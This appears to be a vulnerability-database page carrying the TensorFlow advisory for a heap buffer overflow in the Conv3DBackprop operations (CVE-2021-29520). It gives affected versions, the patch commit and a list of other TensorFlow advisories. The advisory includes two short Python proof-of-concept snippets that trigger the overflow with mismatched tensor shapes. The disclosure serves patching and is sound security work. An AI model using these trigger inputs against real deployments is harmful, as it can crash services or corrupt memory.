Anmelden
Deutsch English Español Polski
Niedrig

Heap buffer overflow in `Conv3DBackprop*`

  • Veröffentlicht: 14.05.2021
  • Aktualisiert: 11.10.2026 13:19

Impact

Missing validation between arguments to tf.raw_ops.Conv3DBackprop* operations can result in heap buffer overflows:

python
import tensorflow as tf

input_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32)
filter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32)
out_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
python
import tensorflow as tf

input_values = [-10.0] * (7 * 7 * 7 * 7 * 7)
input_values[0] = 429.6491056791816
input_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32)
filter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32)
out_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32)
  
tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])

This is because the implementation assumes that the input, filter_sizes and out_backprop tensors have the same shape, as they are accessed in parallel.

Patches

We have patched the issue in GitHub commit 8f37b52e1320d8d72a9529b2468277791a261197.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our securityguide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) tensorflow < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-cpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-gpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2

Verweise

CVSS-Wert 2.5/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Schwäche (CWE)
CWE-120, CWE-787
Plattform
Python (PyPI)
Paket
tensorflow, tensorflow-cpu, tensorflow-gpu
Veröffentlicht
14.05.2021
Aktualisiert
11.10.2026 13:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2021-157 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-448 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-646 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-wcv5-qrj6-9pfm - CC BY 4.0

Schwachstellenhistorie: tensorflow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (433) im Archiv
Einträge insgesamt
433
Erste → letzte
04.2019 07.2024
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 6
  • Hoch 112
  • Mittel 210
  • Niedrig 105

Veröffentlichungen pro Jahr

Schweregrad:
  1. Heap buffer overflow in `Conv3DBackprop*` dieser Eintrag
    Niedrig · 2.5 CVE-2021-29520 < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
  2. TensorFlow has segfault in array_ops.upper_bound
    Hoch · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
    Hoch · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`
    Hoch · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. TensorFlow vulnerable to integer overflow in EditDistance
    Hoch · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. TensorFlow has Null Pointer Error in TensorArrayConcatV2
    Hoch · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. TensorFlow has Heap-buffer-overflow in AvgPoolGrad
    Hoch · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  8. TensorFlow has Null Pointer Error in SparseSparseMaximum
    Hoch · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  9. TensorFlow has Floating Point Exception in AudioSpectrogram
    Hoch · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  10. TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
    Kritisch · 9.8 CVE-2023-25668 < 2.11.1 2.11.1
  11. TensorFlow has Floating Point Exception in AvgPoolGrad with XLA
    Hoch · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  12. TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
    Hoch · 7.5 CVE-2023-25670 < 2.11.1 2.11.1
  13. TensorFlow has segmentation fault in tfg-translate
    Hoch · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  14. TensorFlow has Null Pointer Error in LookupTableImportV2
    Hoch · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  15. TensorFlow has Floating Point Exception in TensorListSplit with XLA
    Hoch · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  16. TensorFlow has Null Pointer Error in RandomShuffle with XLA enable
    Hoch · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  17. TensorFlow has Segfault in Bincount with XLA
    Hoch · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  18. TensorFlow has null dereference on ParallelConcat with XLA
    Hoch · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  19. TensorFlow has double free in Fractional(Max/Avg)Pool
    Hoch · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  20. TensorFlow has Floating Point Exception in TFLite in conv kernel
    Hoch · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  21. TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad
    Hoch · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  22. Out of bounds write in grappler in Tensorflow
    Hoch · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  23. FractionalMaxPool and FractionalAVGPool heap out-of-bounds acess
    Hoch · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  24. Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite
    Hoch · 7.1 CVE-2022-41894 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  25. TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite
    Hoch · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  26. TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite
    Hoch · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  27. Code injection in `saved_model_cli` in TensorFlow
    Hoch · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  28. Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow
    Hoch · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  29. NULL Pointer Dereference and Access of Uninitialized Pointer in TensorFlow
    Kritisch · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  30. Improper Validation of Integrity Check Value in TensorFlow
    Hoch · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  31. Out of bounds read in Tensorflow
    Hoch · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  32. Read and Write outside of bounds in TensorFlow
    Hoch · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  33. Insecure temporary file in Tensorflow
    Hoch · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  34. Out of bounds read in Tensorflow
    Hoch · 8.1 CVE-2022-23592 >= 2.8.0-rc0, < 2.8.0 2.8.0
  35. Stack overflow in TensorFlow
    Hoch · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  36. Out of bounds read and write in Tensorflow
    Hoch · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  37. Uninitialized variable access in Tensorflow
    Hoch · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  38. Integer overflow in Tensorflow
    Hoch · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  39. Out of bounds write in TFLite
    Hoch · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  40. Integer overflow in TFLite
    Hoch · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  41. Out of bounds write in Tensorflow
    Hoch · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  42. Use after free in `DecodePng` kernel
    Hoch · 7.6 CVE-2022-23584 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  43. Integer overflow in TFLite array creation
    Hoch · 7.6 CVE-2022-23558 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  44. Integer overflow in TensorFlow
    Hoch · 8.8 CVE-2022-23587 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  45. Heap overflow in Tensorflow
    Hoch · 7.6 CVE-2022-21740 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  46. Division by zero in TFLite
    Hoch · 6.5 CVE-2022-21741 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  47. Null pointer dereference in TensorFlow
    Hoch · 6.5 CVE-2022-21739 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  48. Assertion failure based denial of service in Tensorflow
    Hoch · 6.5 CVE-2022-21737 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  49. Integer overflow leading to crash in Tensorflow
    Hoch · 6.5 CVE-2022-21738 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  50. `CHECK`-fails when building invalid tensor shapes in Tensorflow
    Hoch · 6.5 CVE-2022-23569 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  51. Overflow and uncaught divide by zero in Tensorflow
    Hoch · 6.5 CVE-2022-21729 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  52. `CHECK`-failures in Tensorflow
    Hoch · 6.5 CVE-2022-21734 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  53. Division by zero in Tensorflow
    Hoch · 6.5 CVE-2022-21735 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  54. Undefined behavior in `SparseTensorSliceDataset`
    Hoch · 7.6 CVE-2022-21736 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  55. Type confusion leading to segfault in Tensorflow
    Hoch · 6.5 CVE-2022-21731 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  56. Integer overflows in Tensorflow
    Hoch · 6.5 CVE-2022-23567 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  57. Integer overflows in Tensorflow
    Hoch · 6.5 CVE-2022-23568 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  58. Out of bounds read in Tensorflow
    Hoch · 8.1 CVE-2022-21726 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  59. Out of bounds read in Tensorflow
    Hoch · 8.1 CVE-2022-21728 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  60. Integer overflow in Tensorflow
    Hoch · 7.6 CVE-2022-21727 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  61. Out of bounds read in Tensorflow
    Hoch · 8.1 CVE-2022-21730 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
Mehr anzeigen (20) 61 von 119 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Datenschutzerklärung

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.